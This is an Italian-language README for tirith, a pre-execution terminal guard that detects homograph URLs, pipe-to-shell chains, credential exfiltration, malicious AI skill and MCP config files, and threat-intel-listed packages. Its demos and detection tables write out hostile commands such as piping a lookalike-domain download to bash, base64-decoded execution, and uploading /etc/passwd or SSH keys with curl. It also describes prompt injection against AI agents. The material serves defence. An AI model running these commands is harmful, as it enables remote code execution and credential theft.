Non puoi. Nemmeno il tuo terminale. Entrambi i caratteri `і` sono cirillici (U+0456), non latini `i`. Il secondo URL si risolve sul server di un attaccante. Lo script viene eseguito prima che tu te ne accorga.

I browser hanno risolto questo problema anni fa. I terminali continuano a visualizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza porsi domande. Gli agenti AI eseguono comandi shell e installano pacchetti senza ispezionare cosa contengono.

**Tirith sta al cancello.** Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevole e pacchetti/domini/IP noti come dannosi da un database firmato di threat intelligence prima che vengano eseguiti.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricade su `$SHELL` se necessario). Il flag esplicito `--shell` è richiesto solo quando vuoi sovrascrivere il rilevamento.

Questo è tutto per la copertura della shell interattiva. I comandi accettati da quella shell vengono
controllati mentre l'hook è caricato e funzionante; il comportamento esatto di blocco dipende
dalla shell e dalla modalità. Esegui `tirith doctor` dopo l'installazione e gli aggiornamenti, e
leggi [enforcement by shell](#enforcement-by-shell) prima di considerare l'hook come
un confine di autorizzazione. I comandi puliti rimangono silenziosi e normalmente seguono il
percorso rapido.

Disponibile anche tramite [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) e [altro](#install).

---

## Guardalo in azione

**Attacco homograph, bloccato prima dell'esecuzione:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Avviso stampato su stderr. Il comando viene comunque eseguito.

**Catena di decodifica-esecuzione Base64, bloccata:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Copre tutti i flag di upload di curl/wget, le variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`) e la sostituzione di comandi.

**File di skill malevolo, rilevato durante la scansione:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Niente. Zero output. Dimentichi che tirith è in esecuzione.

---

## Cosa rileva

**244 regole di rilevamento in 35 categorie.**

| Categoria | Cosa blocca |
|----------|--------------|
| **Attacchi homograph** | Caratteri simili cirillici/greci nei nomi host, domini punycode, etichette a script misto, TLD simili, domini confondibili, rilevamento di confondibili a livello testuale (alfanumerici matematici, stessa parola a script misto) |
| **Iniezione da terminale** | Sequenze di escape ANSI, override bidi, caratteri a larghezza zero, tag unicode, operatori matematici invisibili, selettori di variazione, riempitivi Hangul |
| **Difesa dalla steganografia** | Codifica con spazi bianchi invisibili (12 varianti di spazio Unicode), Mongolian Vowel Separator, caratteri Hangul Filler, sostituzione alfanumerica matematica, difese contro la steganografia testuale in stile st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, più numerosi percorsi wrapper, di decodifica e di indirezione |
| **Decodifica ed esecuzione Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, catene di decodifica attraverso wrapper sudo/env |
| **Esfiltrazione di dati** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, upload di variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`), esfiltrazione tramite command substitution |
| **Scansione di file di codice** | Payload offuscati (`eval(atob(...))`), esecuzione dinamica di codice (`exec(b64decode(...))`), esfiltrazione di segreti tramite `fetch`/`requests.post` in file JS/Python |
| **Rilevamento credenziali** | Chiavi AWS, PAT GitHub, token Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocchi di chiavi private, più rilevamento generico di segreti basato sull'entropia |
| **Comportamento post-compromissione** | Scraping della memoria di processo (`/proc/*/mem`), escalation di privilegi remota Docker, scansioni di file di credenziali, calibrato su tooling post-compromissione TeamPCP e UNC1069 |
| **Sicurezza dei comandi** | Sovrascritture di dotfile, estrazione di archivi in percorsi sensibili, accesso a endpoint di metadati cloud, accesso a reti private |
| **Trasporto non sicuro** | HTTP in chiaro inviato a shell, `curl -k`, verifica TLS disabilitata, URL accorciati che nascondono le destinazioni |
| **Ambiente** | Hijacking del proxy, export di variabili d'ambiente sensibili, iniezione di codice tramite env, hijack dell'interprete, iniezione shell tramite env |
| **Sicurezza dei file di configurazione** | Iniezione di configurazione, indicatori sospetti, unicode non-ASCII/invisibile nelle configurazioni, sicurezza del server MCP (non sicuro/non attendibile/duplicato/permissivo) |
| **Minacce dell'ecosistema** | Typosquat di git clone, registry Docker non attendibili, installazioni pip/npm da URL, endpoint RPC web3, vet-not-configured |
| **Sicurezza dei comandi di installazione** | Repository APT aggiunti da un download inviato a pipe, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (controlli di firma disabilitati), `kubectl apply -f` su manifest remoti grezzi/accorciati, chart Helm da repository non attendibili, moduli Terraform da sorgenti remote non attendibili, `brew install`/`tap` da URL arbitrari |
| **Analisi dei percorsi** | Percorsi non-ASCII, omoglifi nei percorsi, doppia codifica |
| **Contenuto renderizzato** | Contenuto CSS/colore nascosto, attributi HTML nascosti, analisi del contenuto dei commenti (prompt injection a livello High, comandi distruttivi a livello Medium) |
| **Rilevamento cloaking** | Cloaking lato server (bot vs browser), contenuto nascosto negli appunti, testo nascosto nei PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, esclusioni di Windows Defender (`Add-MpPreference -Exclusion*`), download-esecuzione inline `iex (iwr ...)` |
| **Difesa dall'output del terminale** | Scritture negli appunti OSC 52, prompt falsi, manipolazione di hyperlink e titolo / clear-screen OSC 8, prompt injection all'interno dell'output di comandi o strumenti MCP (analizzato sia grezzo che deoffuscato, così vengono catturate anche evasioni con caratteri invisibili, confondibili, spaziati, leetspeak e base64 / hex brevi), ed esfiltrazione di dati in output (URL beacon o direttive "leggi un segreto poi invialo") |
| **Contesto operativo** | Comandi distruttivi contro contesti cloud / k8s etichettati come prod e host SSH, `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, escalation sudo rischiosa, `docker run` privilegiato |
| **Workstation e persistenza** | File di credenziali con permessi permissivi e token in chiaro (`~/.ssh`, `~/.aws`, `.npmrc`), punti di ancoraggio per la persistenza (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` di git), ordinamento per hijack del PATH, provenienza degli eseguibili, alias rischiosi, e ciclo di vita di variabili d'ambiente sensibili |
| **Raggio d'azione e correlazione** | Eliminazioni che fuoriescono dal repository, eliminazioni di massa, esecuzione di file scaricati da sorgenti rischiose, e catene di sessione come scrittura di segreti seguita da rete o eliminazione seguita da `git push --force` |
| **Fiducia, attestazione e provenienza** | Mancata corrispondenza di command-card firmata, tocchi di canary honeytoken, mancata corrispondenza dell'host sorgente dell'incolla, dinieghi di policy sull'origine del chiamante (agente), drift del lockfile MCP, e drift della configurazione AI rispetto a uno snapshot noto come sicuro |
| **Guardia per comandi Web3** | Scritture on-chain da comandi Cast / Forge / Hardhat / Solana / Anchor (High quando lo stesso comando disabilita anche un controllo di sicurezza dichiarato), materiale di chiave privata, keypair o mnemonica in chiaro sulla riga di comando, e un endpoint RPC o firmatario di cui la policy `web3_guard` dell'operatore non si fida. Solo grammatica e policy: nessuno stato della catena viene letto, nessuna transazione viene simulata, e nessun indirizzo viene valutato |
| **Esfiltrazione di wallet** | Materiale di wallet, keystore, wallet del browser e keypair Solana revisionato che fluisce verso un sink remoto provato, inclusi hop di staging tramite archivio, base64, hex, compressore e cifratore e promozione di operandi `xargs` / `find -exec`. Una lettura solo-sorgente deliberatamente non è un finding |
| **Avvelenamento di artefatti CI** | Un workflow raggiungibile da fork che carica un artefatto di build, consumato da un workflow `workflow_run` privilegiato legato all'esecuzione scatenante che poi lo esegue, lo usa come sorgente, ne muta il PATH, lo pubblica o lo distribuisce |

---

## Cosa tirith NON protegge

Tirith analizza la **struttura** dei comandi, del testo incollato e dei file prima
che vengano eseguiti. È un gate pre-esecuzione, non una difesa a runtime, e non
copre:

- **Sandboxing generale a runtime:** gli hook shell ordinari e `tirith check` avvisano
  o bloccano; non isolano un comando dopo l'avvio. Gli espliciti
  `capsule run --preset untrusted-project` e i percorsi di applicazione di `pkg install`
  forniscono contenimento fail-closed solo su host Linux x86_64 supportati.
- **Monitoraggio di rete post-esecuzione:** ciò che un processo fa sulla rete dopo
  l'avvio è fuori ambito.
- **Rilevamento generico di malware / payload:** tirith non è un antivirus e non
  detona un payload. Analizza la struttura e può confrontare indicatori esatti
  e hash di artefatti/file dal database delle minacce firmato, ma un payload
  sconosciuto non è dimostrato benigno dall'assenza di una corrispondenza. (`tirith run` controlla
  la struttura di uno script scaricato; non è comunque analisi dinamica di malware.)
- **Un attaccante privilegiato root/admin:** chiunque sia già root o admin può bypassare
  tirith banalmente. Difende contro input ingannato, non contro un attaccante che già
  possiede la macchina.
- **Anti-debugging / anti-tampering:** tirith non resiste al reverse engineering
  né protegge il proprio binario da un attaccante locale.
- **Analisi on-chain:** la guardia Web3 legge la grammatica dei comandi. Non legge
  lo stato della catena, non simula una transazione, non risolve ENS, non valuta un indirizzo, non esegue l'audit di un
  contratto, né osserva una mempool.
- **Un firewall per artefatti npm:** tirith analizza la grammatica dei comandi npm e i fatti
  sull'identità del registry, e può chiedere all'npm del progetto stesso il suo stato di firma e
  provenienza. Non scarica, estrae, mette in quarantena né vincola i
  byte del tarball che npm installa. Il firewall per artefatti contenuto e con hash fissato è
  solo per Python.
- **Forense o monitoraggio del browser:** `tirith browser audit` è un audit di integrità esplicito,
  una tantum, in sola lettura, degli alberi sorgente delle estensioni. Non legge mai
  cookie, cronologia, password salvate, storage, database di wallet o `Local
  State`, non rimuove né mette in quarantena nulla, e non ha alcun daemon.
- **Build riproducibili:** una ricevuta `attest` registra ciò che due alberi contenevano
  in un dato momento. Tirith non esegue la tua build e non può affermare che l'output provenga
  dal sorgente. Una ricevuta di deployment è una misurazione puntuale, non
  monitoraggio continuo.

Vedi [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) per il modello di minaccia completo e
i non-obiettivi espliciti, e
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) per un
registro capacità per capacità di ciò che tirith rileva, decide, applica,
contiene e attesta.

---

## Limitazioni note

- **Fragilità dell'hook shell:** la protezione dipende da un hook shell che rimane installato
  e attivo. Gli hook possono rompersi o degradare silenziosamente tra shell, versioni di shell,
  framework di prompt e strumenti di cronologia. Esegui `tirith doctor` per controllare lo stato live
  e osserva il degrado in modalità solo-avviso.
- **Storage temporaneo pieno o in sola lettura:** zsh e fish catturano l'input attraverso un
  file scratch prima di invocare Tirith e falliscono in modo chiuso quando quel file non può essere
  creato. Un `TMPDIR` pieno/in sola lettura può quindi rifiutare ogni comando, e
  `TIRITH=0` non può recuperare perché il binario non viene mai raggiunto. Segui i passaggi
  di recupero in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Funzionalità limitate alla piattaforma:** la modalità daemon, `tirith run` e `tirith fetch`
  sono superfici Unix. `tirith run --no-exec` rimane lì un workflow di ispezione,
  ma l'esecuzione live di script remoti è solo per Linux e rifiuta prima del
  download su ogni altro host. `tirith setup` è multipiattaforma, mentre ogni
  integrazione host ha il proprio contratto di piattaforma (ad esempio Cline ha wrapper POSIX
  e Windows; l'hook bloccante di OpenHands è solo Unix).
- **Ambito di estrazione dei nomi di pacchetto:** copre gli ecosistemi linguistici (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), non i gestori di pacchetti
  delle distribuzioni (`apt`, `dnf`, `yum`, `pacman`).
- **Avvertenze sugli agenti AI:** l'intercettazione tramite hook shell protegge solo i comandi che passano
  attraverso una shell interattiva con hook. Un agente che genera una shell non interattiva,
  chiama `exec` direttamente, o viene eseguito senza l'hook caricato non è coperto
  da quel livello. La registrazione MCP è cooperativa a meno che le chiamate non siano instradate
  attraverso il gateway. Un hook pre-tool supportato può automaticamente trattenere un
  comando host, ma solo quando quell'host lo ha caricato e rispettato; diversi host
  falliscono in modo aperto quando un processo hook va in errore. Verifica l'host effettivo, non solo la
  presenza di un file di configurazione.
- **Comportamento in caso di errore dell'hook host:** Grok Build, Cline e OpenHands consentono lo
  strumento quando il loro processo hook va in crash o va in timeout. L'adattatore di Tirith nega sui
  propri errori per impostazione predefinita, ma non può far sì che un host rispetti un processo che non
  è ritornato. Riesegui il setup se un interprete fissato si sposta e testa l'host reale
  dopo ogni aggiornamento.
- **Prime Agent IPython è estrazione a livello di sorgente:** la guardia copre escape/magics della shell
  e le comuni forme `os`, `subprocess` e `pty.spawn`, ma non è
  un sandbox runtime Python. Un wrapper definito in una cella precedente,
  la reflection come `getattr`/`__import__`, o un pacchetto di terze parti che
  genera un processo può sfuggire a ciò che un lexer di sorgente può provare.
- **Custom-DLP e output macchina:** ampi `dlp_custom_patterns` possono attualmente
  riscrivere valori stringa di proprietà del protocollo in proiezioni JSON/MCP redatte ricorsivamente,
  inclusi identificatori generati o metadati di ricevute. Evita pattern che
  possano corrispondere a valori strutturali quando consumi output firmato o
  stabile per la macchina; questo necessita di redazione field-aware prima del rilascio.
- **Approvazione di installazioni non presidiate:** `tirith install --yes` è accettato come
  canale `require_approval` non presidiato del gate del task del gestore di pacchetti. È un
  flag esplicito dell'operatore, non prova di una conferma umana su TTY. Usa una policy di
  task bloccante dove l'esecuzione non presidiata deve essere impossibile.
- **Binding MCP interpretato:** il binding esatto di server interpretati calcola l'hash
  dell'albero del repository sotto limiti fissi invece di scoprire una vera chiusura delle dipendenze,
  quindi alberi grandi, symlink o file speciali possono rifiutare l'avvio. Rivalida prima
  dello spawn ma non esegue input dell'interprete da descrittori revisionati e sigillati;
  la mutazione concorrente dello stesso utente rimane un divario verify-to-load.
- **Copertura del task-gate:** l'inferenza degli effetti dei task modella la grammatica shell
  Web3 e nient'altro, quindi quasi ogni comando SHELL ordinario viene riportato
  INCOMPLETE. `task_gate.mode: enforce` con `action_incomplete_analysis: block`
  li rifiuta ai cinque confini che inviano un envelope shell, e non cambia
  nulla ai quattro confini di pacchetto e scrittura di configurazione, che vengono sempre valutati
  come completi. `warn` è l'impostazione predefinita. L'alternativa,
  `effects_denied_for_untrusted_sources`, nega l'effetto nominato a ogni chiamata
  a ogni confine posseduto, inclusi i comandi che hai digitato tu stesso, perché nessuna
  sorgente a quei confini è mai trattata come attendibile.
- **Il contenimento è Linux x86_64:** `tirith capsule run --preset
  untrusted-project` e l'applicazione di `tirith pkg install` sono applicabili solo su
  Linux x86_64 con un ABI Landlock utilizzabile. Ogni altro host rifiuta prima
  che qualsiasi cosa venga copiata o generata, senza fallback degradato. L'allow-listing
  dei domini non è offerto da alcun backend.
- **Divario di esfiltrazione da shell annidata:** una lettura sensibile all'interno del corpo di una shell annidata
  il cui sink è all'esterno di essa, come `bash -c "cat <wallet>" | curl -d @- <url>`,
  oggi non è correlata. La stessa catena interamente dentro o interamente fuori dal
  corpo `-c` viene rilevata.
- **Gradi di evidenza di esecuzione:** un avvio Linux è confermato solo dopo che la sua
  transizione `exec` arrestata, l'aggiornamento dello stato durevole, la ripresa autorizzata e
  la prova del launcher terminale sono tutte completate. Una chiamata al gateway è confermata solo da un
  risultato correlato esatto. Le osservazioni della shell e le chiamate al gateway inoltrate che
  vanno in timeout o vengono annullate rimangono evidenza irrisolta conservativa, mai
  esecuzione confermata. Le ricevute shell rigorose sono disponibili per bash, zsh e fish
  interattivi; PowerShell rimane solo preflight. Il comportamento del launcher Linux
  nativo deve essere verificato da CI Linux o da un host Linux nativo; né la copertura portabile
  di sorgente/unit né una build macOS possono sostituirlo.
- **Divari di copertura Web3:** `forge create` non è ancora modellato sulle superfici del motore;
  diversi campi dichiarati di `web3_guard` sono analizzati ma non applicati; e
  i binding Web3 delle command-card schema-2 non hanno ancora un percorso di authoring CLI o di
  consumo live dal motore. Trattali come divari noti, non come autorizzazione silenziosa.

---

## Threat intelligence

Tirith include un database locale firmato delle minacce per la reputazione di pacchetti, hostname e IP. Quando un hook shell o `tirith check` vede un'installazione di pacchetto o un riferimento a infrastruttura sospetta, confronta quell'input con il database prima che il comando venga eseguito, invece di affidarsi solo a euristiche statiche.

**DB firmato** (costruito dalla CI, verificato al download e al caricamento):

- Pacchetti noti come malevoli da [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) e [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastruttura IP malevola da [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquat confermati e baseline di pacchetti popolari da [ecosyste.ms](https://ecosyste.ms/)
- Catalogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) per la correlazione di advisory a runtime

ThreatDB v2 aggiunge valori SHA-256 esatti degli artefatti, hash dei file installati,
URL malevoli, appartenenza a campagne e tag comportamentali. L'indice firmato,
l'updater, il compilatore e il loader supportano v1 e v2 durante il cutover graduale,
rifiutano il rollback di sequenza, pubblicano in modo transazionale e mantengono un
database last-known-good firmato quando un aggiornamento è incompleto o non valido. La
sorgente DigitalSide è implementata ma intenzionalmente inattiva finché la sua
freschezza e il suo contratto operativo non sono approvati.

**Feed supplementari opzionali** (overlay locale all'utente):

- [URLhaus](https://urlhaus.abuse.ch/) e [ThreatFox](https://threatfox.abuse.ch/) tramite una chiave di autenticazione abuse.ch
- Blocklist [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing Army](https://phishing.army/)
- Lista dei nodi di uscita Tor da [Tor Project](https://www.torproject.org/)

**Arricchimento live opzionale** durante `tirith check` e la modalità daemon:

- Ricerche di advisory su [OSV.dev](https://osv.dev/) (Google OSS)
- Segnali di salute dei pacchetti da [deps.dev](https://deps.dev/) (Google OSS) e dati sui maintainer da [ecosyste.ms](https://ecosyste.ms/)
- Reputazione degli URL con [Google Safe Browsing](https://safebrowsing.google.com/) usando la tua chiave API```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**Offline per impostazione predefinita.** Senza flag, ogni segnale è locale, senza alcuna chiamata di rete: (1) **nome vs. pacchetti popolari**: noto-popolare, sconosciuto, o un quasi-omonimo a una modifica di distanza da un nome popolare (la classica forma typosquat/slopsquat), dal set `popular` del database locale delle minacce; (2) **typosquat malevolo noto**: una corrispondenza esatta nell'indice `typosquat` del DB delle minacce; (3) **script di installazione / ciclo di vita** e (4) **blob binari inclusi**, rilevati solo quando il contenuto del pacchetto è disponibile localmente (sotto `node_modules` / `site-packages`, o tramite `--path`). tirith **non scarica mai** il pacchetto.

**`--online` aggiunge la provenienza dal registry.** Consulta il registry del pacchetto (npm, PyPI, o crates.io) per sei ulteriori fattori nello *stesso* modello a somma di fattori: età del pacchetto/versione, un pacchetto consolidato senza proprietari, un picco anomalo di versioni, download molto bassi, un repository sorgente mancante, e stato yanked/deprecato. È l'unico percorso su cui `package risk` stesso raggiunge la rete; `tirith check` e la modalità daemon hanno un percorso separato di arricchimento runtime controllato da policy. `--offline` / `TIRITH_OFFLINE` forzano questo scorer offline a prescindere. I fallimenti ricadono sul punteggio offline con un onesto `api signals: unavailable`, e le risposte sono memorizzate in cache con un TTL così che esecuzioni ripetute non martellino i registry.

Il punteggio è consultivo e autonomo: `package risk` non è una regola di rilevamento e non cambia alcun verdetto, codice di uscita, o log di audit.

### Scansione dell'ecosistema e rischio delle dipendenze

`tirith ecosystem scan [path]` è il compagno a livello di directory di `package risk`. Attraversa un progetto, scopre ogni manifest delle dipendenze che comprende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e assegna un punteggio a **ogni dipendenza dichiarata** con lo stesso motore deterministico a fattori `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

L'ispezione copre la struttura e l'identità della wheel, l'integrità del RECORD e la proprietà dei file, gli hook di avvio di Python, le estensioni native ELF/Mach-O/PE, i bordi di esecuzione e le suddivisioni loader/payload tra le distribuzioni. `pkg graph`, `pkg diff`, `pkg attest` e `pkg receipt` espongono le corrispondenti evidenze di provenienza e ricevuta.

Il percorso di enforcement supporta **pip solo su x86_64 Linux** e richiede l'autorità nativa documentata, una directory di destinazione appena dedicata e un `uv` nativo completamente statico registrato. Ogni piattaforma non supportata fallisce in modo chiuso prima che pip si avvii; non ricade mai su un'installazione ordinaria. npm e Cargo rimangono superfici di evidenza non-enforcing. Vedi le
[note di rilascio 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) e il
[riferimento ai comandi](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Famiglie di attacco per cui tirith è costruito** (illustrative, non un'affermazione di rilevamento da parte del codice attuale):

| Incidente | Anno | Forma dell'attacco |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Malware di pacchetto auto-propagante; esfiltrati token GitHub e chiavi AWS da oltre 180 pacchetti, pubblicati i risultati su repository pubblici `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 a oggi | Gli attaccanti registrano nomi di pacchetti allucinati dagli LLM su npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) ha rilevato che il 58% dei nomi allucinati si ripete tra le esecuzioni |
| Tooling di Team PCP / UNC1069 | in corso | Scansioni di credenziali post-compromissione, scraping di `/proc/*/mem`, escalation di privilegi Docker |
| [Sabotaggio di colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Auto-sabotaggio da parte dell'autore di pacchetti ampiamente utilizzati |
| [Compromissione di event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Trasferimento della proprietà all'attaccante; payload mirato ai portafogli Bitcoin |

L'estrazione dei nomi dei pacchetti attualmente copre gli ecosistemi linguistici (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), non i gestori di pacchetti a livello di distribuzione (`apt` / `dnf` / `yum` / `pacman`). Ecco perché xz-utils, che è entrato attraverso i tarball delle distribuzioni Linux, non è nella tabella nonostante sia un incidente di primo piano.

---

## Sicurezza degli agenti AI

Tirith aggiunge diversi livelli di protezione indipendenti attorno agli agenti di coding AI:
scansione della configurazione, strumenti MCP cooperativi, un gateway MCP, hook
per shell interattive e hook pre-strumento nativi dell'host dove l'host espone un
contratto di blocco documentato. La copertura dipende da quale livello l'host carica effettivamente.

### Hook della shell, intercettazione passiva dei comandi

Quando un agente AI esegue attraverso una shell interattiva con hook (Claude Code,
Codex, Cursor, ecc.), l'hook della shell di tirith controlla quel comando interattivo prima
che la shell lo accetti. Questo non copre una shell non interattiva, un `exec` diretto,
o un processo agente che non ha mai caricato l'hook:

- **Blocca comandi pericolosi**: URL omografi, pipe-to-shell, download non sicuri
- **Blocca incollaggi malevoli**: iniezione ANSI, attacchi bidi, multilinea nascosto nel contenuto incollato
- **Gate interattivo indipendente dall'agente**: nessuna integrazione specifica dell'agente è
  necessaria quando quell'agente usa effettivamente la shell interattiva protetta
- **Zero modifiche all'agente**: l'agente non sa che tirith esiste finché un comando non viene bloccato

Usa `tirith setup <tool>` per la configurazione con un solo comando (vedi [Integrazioni con agenti AI](#ai-agent-integrations)).

### Server MCP (6 strumenti cross-platform; 7 su Unix)

Esegui `tirith mcp-server` o usa `tirith setup <tool> --with-mcp` per registrare tirith come server MCP. Gli agenti AI possono chiamare questi strumenti prima di agire:

| Strumento | Cosa fa |
|------|-------------|
| `tirith_check_command` | Analizza i comandi shell per pipe-to-shell, URL omografi, iniezione di env |
| `tirith_check_url` | Valuta gli URL per attacchi omografi, trucchi punycode, URL accorciati, IP grezzi |
| `tirith_check_paste` | Controlla il contenuto incollato per escape ANSI, controlli bidi, caratteri a larghezza zero |
| `tirith_scan_file` | Scansiona un file per contenuto nascosto, Unicode invisibile, avvelenamento della configurazione |
| `tirith_scan_directory` | Scansione ricorsiva con prioritizzazione dei file di configurazione AI |
| `tirith_verify_mcp_config` | Convalida le configurazioni MCP per server non sicuri, iniezione di shell negli argomenti, strumenti wildcard |
| `tirith_fetch_cloaking` | Rileva il cloaking lato server (contenuto diverso per bot rispetto ai browser) |

Il `tools/list` predefinito è un contratto di compatibilità congelato, perché i client
lo memorizzano nella cache e uno strumento che appare senza preavviso cambia ciò che un agente crede di
poter chiamare. Uno strumento di anteprima, `tirith_check_task`, **non è quindi pubblicizzato per
impostazione predefinita**: esegui `TIRITH_MCP_PREVIEW=1 tirith mcp-server` per pubblicizzarlo, e
senza quell'opt-in un client che lo chiama per nome viene rifiutato per nome. Vedi
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### Governance del server MCP

`tirith mcp lock` cattura ogni server MCP che un repository dichiara, attraverso `.mcp.json` / `mcp.json` / `mcp_settings.json` e le varianti di configurazione IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), in un lockfile deterministico in `.tirith/mcp.lock`. Ogni server è registrato con il suo trasporto (un URL remoto, o un comando locale + argomenti), gli strumenti dichiarati, i metadati di copertura e un hash del contenuto; i server sono ordinati per nome/sorgente così il lockfile è diff-friendly. Le dichiarazioni ambigue o contenenti credenziali vengono rifiutate invece di essere copiate nel controllo di versione. I valori delle variabili d'ambiente e le userinfo degli URL sono rappresentati solo da marcatori di presenza fissi, mai da valori grezzi o hash deterministici: aggiungere/rimuovere una variabile o userinfo produce comunque drift, mentre la rotazione dei segreti intenzionalmente no. I lockfile V7 richiedono un re-lock esplicito per migrare a questo modello di privacy v8. La scoperta è solo locale al repository e non tocca la rete. (`tirith mcp` è un gruppo di comandi separato da `tirith mcp-server`, che esegue tirith *come* server MCP.)

`tirith mcp verify` è il compagno di gating: ricostruisce l'inventario corrente rispetto al lockfile committato ed esce con 1 in caso di drift o copertura di configurazione incompleta/rifiutata (0 corrispondenza, 2 su errori di utilizzo come un lockfile mancante). `tirith mcp diff` riporta lo stesso drift in modo informativo (esce sempre con 0, 2 solo su errori di utilizzo, così un consumatore può distinguere "nessun drift" da "impossibile verificare"). Il drift emerge anche attraverso `tirith scan` come `mcp_server_drift` (Medium o High), così un hook pre-commit o la CI cattura un cambiamento della superficie MCP nello stesso modo in cui cattura un'azione non pinnata. `verify` / `diff` non stampano mai valori env o userinfo di URL, solo i nomi di ciò che è cambiato.

Due campi di policy governano ciò che viene accettato. Entrambi sono indicizzati da un'identità opaca `mcp:v1:...` che lega percorso sorgente, nome del server e trasporto: `scan.trusted_mcp_servers` sopprime i risultati di configurazione e il drift di quello specifico server, mentre `scan.mcp_allowed_tools` dichiara gli strumenti esatti che può esporre. I nomi nudi intenzionalmente non corrispondono a nulla, così un server con lo stesso nome in un'altra configurazione non può ereditare la fiducia. Un elenco esplicito di strumenti consentiti richiede anche un insieme di descrittori live approvato dall'operatore e controlla sia le dichiarazioni statiche che i nomi dei descrittori live. Esegui `tirith mcp policy init` per generare le chiavi esatte in `.tirith/mcp-policy.yaml.example`, poi usa il flusso `--mcp-server-identity ... --approve-descriptors` del gateway per catturare atomicamente una baseline `tools/list` ispezionata. Ogni voce generata è commentata così l'importazione non amplia mai silenziosamente la fiducia.

### Scansione dei file di configurazione

`tirith scan` rileva prompt injection e payload nascosti nei file di configurazione AI. Prioritizza e scansiona oltre 50 pattern noti di file di configurazione AI:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- impostazioni, agenti, skill, plugin, regole di `.claude/`
- configurazioni `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**Cosa rileva nelle configurazioni:**

- **Prompt injection** (trigger di attivazione delle skill, tentativi di bypass dei permessi, dismissione delle misure di sicurezza, riassegnazione dell'identità, istruzioni di override cross-tool). Ogni file è scansionato sia grezzo che deoffuscato (caratteri invisibili, confondibili, spaziatura tra caratteri, leetspeak, base64 / hex corti), così un seed nascosto dietro la codifica scatta comunque
- **Unicode invisibile**: caratteri a larghezza zero (incluso il Mongolian Vowel Separator), controlli bidi, trattini soft, tag Unicode, riempitivi Hangul, codifica di spazi bianchi invisibili, confondibili alfanumerici matematici
- **Problemi di configurazione MCP**: connessioni HTTP non sicure, server con IP grezzi, metacaratteri di shell negli argomenti, nomi di server duplicati, accesso agli strumenti con wildcard

### Scansione della supply-chain di CI / repo

